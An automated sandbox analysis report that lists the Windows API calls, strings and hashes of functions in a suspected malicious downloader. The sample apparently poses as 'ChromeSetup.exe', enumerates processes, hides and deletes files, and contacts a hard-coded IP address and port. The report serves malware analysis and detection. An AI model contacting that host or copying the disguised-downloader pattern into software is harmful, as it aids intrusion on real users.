Control-flow Graph

Executed
Not Executed

APIs

??Bios_base@std@@QBE_NXZ.MSVCP140(?,00000022,00000040,00000001), ref: 1000534A
?write@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEAAV12@PBD_J@Z.MSVCP140(1000A5BB,000000FF,?), ref: 10005384

Part of subcall function 10012400: ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,?,10005395), ref: 1001242D

SetFileAttributesA.KERNEL32(00000000,00000001), ref: 100053A0

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?setstate@?$basic_ios@?write@?$basic_ostream@AttributesBios_base@std@@FileV12@
String ID:
API String ID: 1581416325-0
Opcode ID: b6dca49e7f140338e59bc9ee201abc6e232935be4f3253fc458cc6489671f659
Instruction ID: 5c88ff171285725a0febf88608a5dc827106f22a602be97f7403975b38e1ce9c
Opcode Fuzzy Hash: b6dca49e7f140338e59bc9ee201abc6e232935be4f3253fc458cc6489671f659
Instruction Fuzzy Hash: CA215970A00109ABEB54DF64CC95FAEB774FB04750F108268F51AAB2D0DB70AA85CF94

Function 100135C0 Relevance: 3.1, APIs: 2, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

?_Fiopen@std@@YAPAU_iobuf@@PBDHH@Z.MSVCP140(00000022,00000040,1001304F,000000FF,?,1001304F,00000040,00000022,?), ref: 100135F7

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: Fiopen@std@@U_iobuf@@
String ID:
API String ID: 2284775142-0
Opcode ID: 4f9c097bd9ff1fc27bc4b621ca56d4494d79341367a5276cc761d7329a66d7a3
Instruction ID: 655dba523039e8c1ca7b53558f86e7561812b5aaf6b8d3e237c0567069c37aa1
Opcode Fuzzy Hash: 4f9c097bd9ff1fc27bc4b621ca56d4494d79341367a5276cc761d7329a66d7a3
Instruction Fuzzy Hash: 08213AB5D04209EFCB04DF98CC81BAEB7B4FB48750F108628E526A7390D735AA50CBA0

Function 10012F10 Relevance: 1.5, APIs: 1, Instructions: 35
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10012C90: ?eback@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IBEPADXZ.MSVCP140(100053B9,?,10012F2A,?,100053B9), ref: 10012C9A
Part of subcall function 10012C90: ?setg@?$basic_streambuf@DU?$char_traits@D@std@@@std@@IAEXPAD00@Z.MSVCP140(CCC35DE5,CCC35DE5,8B55CCCC,?,10012F2A,?,100053B9), ref: 10012CC2

fclose.API-MS-WIN-CRT-STDIO-L1-1-0(0175FE68,?,100053B9), ref: 10012F4D

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?eback@?$basic_streambuf@?setg@?$basic_streambuf@D00@fclose
String ID:
API String ID: 2996004546-0
Opcode ID: 709d4a9117c949bef376609371d5c1e3fdd0bce17311b82dc2022546a51ab83c
Instruction ID: a9d9b0767c6718a53788ed456b677ecfb587c67211e8534dc0a09bbe97dd6693
Opcode Fuzzy Hash: 709d4a9117c949bef376609371d5c1e3fdd0bce17311b82dc2022546a51ab83c
Instruction Fuzzy Hash: C001C9B4A04209EBDB04DF94D996B9DBBB5EF40704F2080A8E9016F391DB71EF95DB81

Function 100054B0 Relevance: 1.5, APIs: 1, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetFolderPathA.SHELL32(00000000,10015860,00000000,00000000,?), ref: 100054D1

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: FolderPath
String ID:
API String ID: 1514166925-0
Opcode ID: e6e4afff401893d413fff79f511675b205a9a655f8e681d12dc64428658c1451
Instruction ID: 07c3b9f19ba733181f56a7183a0540d47c5f455797d933128116d1b9b8de183c
Opcode Fuzzy Hash: e6e4afff401893d413fff79f511675b205a9a655f8e681d12dc64428658c1451
Instruction Fuzzy Hash: 0BF0F974614108ABEB54DF54C892FDD77B9EB44741F108099F9499B280EBB1AF80DB81

Function 10012400 Relevance: 1.5, APIs: 1, Instructions: 22
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10012F10: fclose.API-MS-WIN-CRT-STDIO-L1-1-0(0175FE68,?,100053B9), ref: 10012F4D

?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(00000002,00000000,?,10005395), ref: 1001242D

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: ?setstate@?$basic_ios@D@std@@@std@@U?$char_traits@fclose
String ID:
API String ID: 2040537880-0
Opcode ID: 93dd7eb5169e86885b55c767c8327cd94ed4ae90235ab5dc8049e23af4a0f4b1
Instruction ID: b5d0b15e863f3ba68657ea4ca4a108191cbcefbbccc9c59a0a057f78330705e7
Opcode Fuzzy Hash: 93dd7eb5169e86885b55c767c8327cd94ed4ae90235ab5dc8049e23af4a0f4b1
Instruction Fuzzy Hash: 1FE01A74A00208EFDB08DB94C981B6CBBB5EF85305F6081A8D9066B381D631AE22DB84

Function 10005520 Relevance: 1.5, APIs: 1, Instructions: 12fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(1000A58A,?,1000A58A,00000000,?,?,?,0000005C,?), ref: 10005527

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: DeleteFile
String ID:
API String ID: 4033686569-0
Opcode ID: 3d5163279ec740a988f09b9f2e08219c395a46ee1d8e65d4cb22b1e97629421d
Instruction ID: f2f8e3d453fe78865ccc53f7e24a17e21a0dec87b166a9a16b5ac37ce018f2ca
Opcode Fuzzy Hash: 3d5163279ec740a988f09b9f2e08219c395a46ee1d8e65d4cb22b1e97629421d
Instruction Fuzzy Hash: 5BC02B7520471C57AF808EE4BC448CB33ECD7095C33004000FE0CCB100C532E7019B60

Function 10005740 Relevance: 1.5, APIs: 1, Instructions: 10COMMON

Download Yara Rule

APIs

SetFileAttributesA.KERNEL32(00000000,00000080,?,1000B3D6,?,00000000), ref: 10005751

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 123067e2a9cf58ddff2a572c946f291cd475b681d30bc16dccd5dbc98fb432a1
Instruction ID: ee6079dce25d93f15e917eacbc87c037c8b3b96b664cac2b0563e90788469a29
Opcode Fuzzy Hash: 123067e2a9cf58ddff2a572c946f291cd475b681d30bc16dccd5dbc98fb432a1
Instruction Fuzzy Hash: BEB09B3454030C67D5446B51DC59E15771CF7456D1F004450F94D57151CF75FA4447D8

Non-executed Functions

Function 008D18A7 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 87windownativethreadCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000), ref: 008D18E4
CreateWindowExW.USER32(00000000,10018410,00000000,50800001,00000014,0000001E,00000159,00000014,00000001,00000065,00000000), ref: 008D190A
SendMessageW.USER32(1001C6F0,00000409,00000000,00D77800), ref: 008D193E
CreateThread.KERNEL32(00000000,00000000,100019F0,?,00000000,00000000), ref: 008D1990
PostQuitMessage.USER32(00000000), ref: 008D199B
NtdllDefWindowProc_W.NTDLL(00000002,?,?,?), ref: 008D19B4

Strings

, xrefs: 008D18CF

Memory Dump Source

Source File: 00000000.00000002.1734162605.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_FIWszl1A8l.jbxd

Similarity

API ID: CreateMessageWindow$HandleModuleNtdllPostProc_QuitSendThread
String ID:
API String ID: 4292518056-3916222277
Opcode ID: f152b21074a591eaa1c3221d8e4c428642237a9e31c9f3bb9f83192013b01db4
Instruction ID: 34faf78cb5251462806daac3e1f764cb001e7f2c406fb42760979c060a58dcf8
Opcode Fuzzy Hash: f152b21074a591eaa1c3221d8e4c428642237a9e31c9f3bb9f83192013b01db4
Instruction Fuzzy Hash: 05312A75A40218FFEB00DF94CC99FAA7B79FB48705F608219FA05AB291C770DA01CB65

Function 10001FA0 Relevance: 10.6, APIs: 7, Instructions: 73processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 10001FAD
memset.VCRUNTIME140(?,00000000,00000228), ref: 10001FDB
Process32FirstW.KERNEL32(000000FF,0000022C), ref: 10001FEE
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000104,00000000,00000000), ref: 10002015
CloseHandle.KERNEL32(000000FF,?,?), ref: 10002055

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: ByteCharCloseCreateFirstHandleMultiProcess32SnapshotToolhelp32Widememset
String ID:
API String ID: 3952204985-0
Opcode ID: e1b82bfbec12dae18965287c7a410afa830459f4bfe4217f508f8cf9dc3144ff
Instruction ID: d3f3af0a4508f7e27652e937122bdb82b1fceeeb5c55f2899ae714965ea1cc71
Opcode Fuzzy Hash: e1b82bfbec12dae18965287c7a410afa830459f4bfe4217f508f8cf9dc3144ff
Instruction Fuzzy Hash: C3217175900218BBEB50DBE4CC89FEEB7B8EB49741F108198F614A61D5D770AB48CB60

Function 10016A5E Relevance: 9.1, APIs: 6, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000001), ref: 10016A6A
memset.VCRUNTIME140(?,00000000,00000003), ref: 10016A90
memset.VCRUNTIME140(?,00000000,00000050), ref: 10016B1A
IsDebuggerPresent.KERNEL32 ref: 10016B36
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 10016B4F
UnhandledExceptionFilter.KERNEL32(?), ref: 10016B59

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandledmemset$DebuggerFeatureProcessor
String ID:
API String ID: 1045392073-0
Opcode ID: 8011eff28b9dcc925b3679dcf16cbb184ae846e5613d95cdaca105e06b2e6a1a
Instruction ID: 4823d0db6d89783cfdf2c75b6990e32170b40ac30757b8ad96a9877ce2fabe7b
Opcode Fuzzy Hash: 8011eff28b9dcc925b3679dcf16cbb184ae846e5613d95cdaca105e06b2e6a1a
Instruction Fuzzy Hash: 9031C779D052289ADB51DFA4DD89BCDBBB8BF08300F1041AAE40DAB250E7719BC48F45

Function 008E6A35 Relevance: 6.1, APIs: 4, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 008E6A41
IsDebuggerPresent.KERNEL32 ref: 008E6B0D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 008E6B26
UnhandledExceptionFilter.KERNEL32(?), ref: 008E6B30

Memory Dump Source

Source File: 00000000.00000002.1734162605.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_FIWszl1A8l.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: f2824bad1c03e64228532995a74806979f2a3e591e50c28ff2d2bcfbf7cad9c5
Instruction ID: b10db7d082a946398cac6c7ea06779dba3c6df3a4745fdbd01669e6f83809874
Opcode Fuzzy Hash: f2824bad1c03e64228532995a74806979f2a3e591e50c28ff2d2bcfbf7cad9c5
Instruction Fuzzy Hash: 4E31F8B5D052289BDB61DFA5C9897CDBBB8FF08300F1041AAE40DEB250E7709B848F45

Function 10016BF4 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(00000001), ref: 10016C06
GetCurrentThreadId.KERNEL32 ref: 10016C15
GetCurrentProcessId.KERNEL32 ref: 10016C1E
QueryPerformanceCounter.KERNEL32(?), ref: 10016C2B

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 842f5c9d0410f161de26bc26939d162bf704e3e37519bf8139df35696172d6f0
Instruction ID: 6b5b90a3d804e5009f3a100d95e0ac76ac391a824cc924ed74941b345312ade6
Opcode Fuzzy Hash: 842f5c9d0410f161de26bc26939d162bf704e3e37519bf8139df35696172d6f0
Instruction Fuzzy Hash: 2CF05F74D1021DEBDB41DBB4CA8999EBBF4EF1C204BA18695E412E6110E630AB489B50

Function 008E66F8 Relevance: 1.7, APIs: 1, Instructions: 242COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 008E670E

Memory Dump Source

Source File: 00000000.00000002.1734162605.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_FIWszl1A8l.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 9ecbffd9c5d5d9a9a992ff49c4f9a74f3e595809584edb45dd89270ad41c5a6f
Instruction ID: 4f89cdc36d4eb4707b36a4d6fc179db05d0913e758f4f6e1447a6033a2288b05
Opcode Fuzzy Hash: 9ecbffd9c5d5d9a9a992ff49c4f9a74f3e595809584edb45dd89270ad41c5a6f
Instruction Fuzzy Hash: 88A17EB1E00669CBEB19CF55C8C1BA9BBB1FB59364F19C22AE415E7250E334D960CF90

Function 10016721 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 10016737

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 9ecbffd9c5d5d9a9a992ff49c4f9a74f3e595809584edb45dd89270ad41c5a6f
Instruction ID: 772fdfb54747e28d4c8254296b593cf3c963f9d1e760632a41fcaf1a051b6687
Opcode Fuzzy Hash: 9ecbffd9c5d5d9a9a992ff49c4f9a74f3e595809584edb45dd89270ad41c5a6f
Instruction Fuzzy Hash: ABA128B1A10669CBEB15CF54CCC1BA9BBF4FB48364F19C62AE415AB290D374D984CF90

Function 008D0AE4 Relevance: .1, Instructions: 87COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1734162605.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_FIWszl1A8l.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9bb5c1b61b7b98cbc056ea8f67b9a8ca7ef086e949689a6f228cbbfb2ff37ba7
Instruction ID: 74a84e5746233f73a5d1a6a2f87331474e54b7ce7239d5b21f2ea63068075f21
Opcode Fuzzy Hash: 9bb5c1b61b7b98cbc056ea8f67b9a8ca7ef086e949689a6f228cbbfb2ff37ba7
Instruction Fuzzy Hash: 7C317C76A0834A8FC710DF18C480A2AB7E4FF89328F190A6EE895D7312D370F9558F91

Function 10015490 Relevance: 38.7, APIs: 20, Strings: 2, Instructions: 163networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 100154B3
getaddrinfo.WS2_32(8.217.85.20,18852,?,00000000), ref: 100154FA
WSACleanup.WS2_32 ref: 10015509
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10015511
socket.WS2_32(?,?,?), ref: 10015552
WSACleanup.WS2_32 ref: 10015566
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 1001556E

Strings

18852, xrefs: 100154F0
8.217.85.20, xrefs: 100154F5

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: Cleanupexit$Startupgetaddrinfosocket
String ID: 18852$8.217.85.20
API String ID: 2357443324-3503856973
Opcode ID: e95435a8fdc8111f0b9742af6ecca4abf10dc5fbecb642431ec3339c5d7ba993
Instruction ID: 8ea8c21000931f3664100cedd98eebcd754df86da53339749fb4ddc4d9d3f251
Opcode Fuzzy Hash: e95435a8fdc8111f0b9742af6ecca4abf10dc5fbecb642431ec3339c5d7ba993
Instruction Fuzzy Hash: 576128B5904629EFE704DFA4CC88F9DB7B5FB08306F148219E519AB2A0C775DA80CF65

Function 008D1637 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 179windowregistrythreadCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000), ref: 008D1659

Part of subcall function 008D1407: SHGetKnownFolderPath.SHELL32(10018310,00000000,00000000,00000000), ref: 008D1462
Part of subcall function 008D1407: CoTaskMemFree.COMBASE(00000000), ref: 008D14B5

CreateThread.KERNEL32(00000000,00000000,10005760,00000000,00000000,00000000), ref: 008D176F
RegisterClassW.USER32(?), ref: 008D17CE
GetSystemMetrics.USER32(00000001), ref: 008D17D6
GetSystemMetrics.USER32(00000000), ref: 008D17E9
CreateWindowExW.USER32(00000000,?,?,00C40000,?,?,00000190,00000078,00000000,00000000,00000000,00000000), ref: 008D1835
ShowWindow.USER32(?,00000001,?,?,?,?,?,?,?,?), ref: 008D1844
GetMessageW.USER32(?,00000000,00000000,00000000), ref: 008D186B
TranslateMessage.USER32(?), ref: 008D1879
DispatchMessageW.USER32(?), ref: 008D1883

Strings

URLDownloader, xrefs: 008D177F
ChromeSetup.exe, xrefs: 008D169E, 008D170A, 008D17FC

Memory Dump Source

Source File: 00000000.00000002.1734162605.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_FIWszl1A8l.jbxd

Similarity

API ID: Message$CreateMetricsSystemWindow$ClassDispatchFolderFreeHandleKnownModulePathRegisterShowTaskThreadTranslate
String ID: ChromeSetup.exe$URLDownloader
API String ID: 3953380684-4101260699
Opcode ID: 0f4a2f577f0c68d67d589a0c1dc5661a83d037daf289d79df61bc5f5d54133cf
Instruction ID: e2a26e6c0056cbdf55e8e83543229713c6f2a0d485e09365b971e6d2728ef5c9
Opcode Fuzzy Hash: 0f4a2f577f0c68d67d589a0c1dc5661a83d037daf289d79df61bc5f5d54133cf
Instruction Fuzzy Hash: D671F9B1D00258AFEB14DFA8CC45BDDBBB4FB48700F10826AE609E7280E7749A45CF51

Function 008E5467 Relevance: 19.7, APIs: 13, Instructions: 163networkCOMMON

Download Yara Rule

APIs

WSAStartup.WS2_32(00000202,?), ref: 008E548A
getaddrinfo.WS2_32(1001C0E0,100185B0,?,00000000), ref: 008E54D1
WSACleanup.WS2_32 ref: 008E54E0
socket.WS2_32(?,?,?), ref: 008E5529
WSACleanup.WS2_32 ref: 008E553D

Memory Dump Source

Source File: 00000000.00000002.1734162605.00000000008D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 008D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_8d0000_FIWszl1A8l.jbxd

Similarity

API ID: Cleanup$Startupgetaddrinfosocket
String ID:
API String ID: 2560534018-0
Opcode ID: e95435a8fdc8111f0b9742af6ecca4abf10dc5fbecb642431ec3339c5d7ba993
Instruction ID: 98c35626c7c20e31f4b5eb43d37a6c9f45a626a155e8b828348e9a6afdb72c70
Opcode Fuzzy Hash: e95435a8fdc8111f0b9742af6ecca4abf10dc5fbecb642431ec3339c5d7ba993
Instruction Fuzzy Hash: E86117B1904629EFE704CFA8CD88FAD77B5FB09309F108618E519A72A0D734DA40CF65

Function 10016EA0 Relevance: 18.2, APIs: 12, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,10001A64,10001A66,00000000,00000000,28DFAA23,?,?,?,10001BE4,10001A64,00000000,?,10001A64,100027CC), ref: 10016F29
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,10001BE4,10001A64,00000000,?,10001A64), ref: 10016F65
MultiByteToWideChar.KERNEL32(00000000,00000000,10001A64,?,00000000,00000000,?,10001BE4,10001A64,00000000,?,10001A64), ref: 10016FA4
SysAllocString.OLEAUT32(00000000), ref: 10016FAF
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,10001BE4,10001A64,00000000,?,10001A64), ref: 10016FC0
_com_issue_error.COMSUPP ref: 10016FD8
_com_issue_error.COMSUPP ref: 10016FE2
GetLastError.KERNEL32(80070057,28DFAA23,?,?,?,10001BE4,10001A64,00000000,?,10001A64,100027CC), ref: 10016FE7
_com_issue_error.COMSUPP ref: 10016FFA
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,?,?,10001BE4,10001A64,00000000,?,10001A64,100027CC), ref: 10017008
GetLastError.KERNEL32(00000000,?,?,?,10001BE4,10001A64,00000000,?,10001A64,100027CC), ref: 10017010
_com_issue_error.COMSUPP ref: 10017023

Memory Dump Source

Source File: 00000000.00000002.1738782885.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.1738757132.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739013263.0000000010018000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739067862.000000001001C000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.1739090953.000000001001D000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_FIWszl1A8l.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWidefree$AllocStringmalloc
String ID:
API String ID: 2710271231-0
Opcode ID: 36a79a949d6c8b34454c645a8cc607a47bcf98233b07f76ab1fadc82befca182
Instruction ID: 6285890bd5176054e2d15964e4e0697efcddc290ec620ce681aa416c4b1e3c3a
Opcode Fuzzy Hash: 36a79a949d6c8b34454c645a8cc607a47bcf98233b07f76ab1fadc82befca182
Instruction Fuzzy Hash: EA41C3B5A00219ABD700CFA8DC45B9EBBE9FB4C650F114229F509EB281D735E981CBA0

Function 008E6E77 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,008D1A3B,008D1A3D,00000000,00000000,1001C040,?,?,?,008D1BBB,008D1A3B,00000000,?,008D1A3B,008D27A3), ref: 008E6F00
MultiByteToWideChar.KERNEL32(00000000,00000000,008D1A3B,?,00000000,00000000,?,008D1BBB,008D1A3B,00000000,?,008D1A3B), ref: 008E6F7B
SysAllocString.OLEAUT32(00000000), ref: 008E6F86
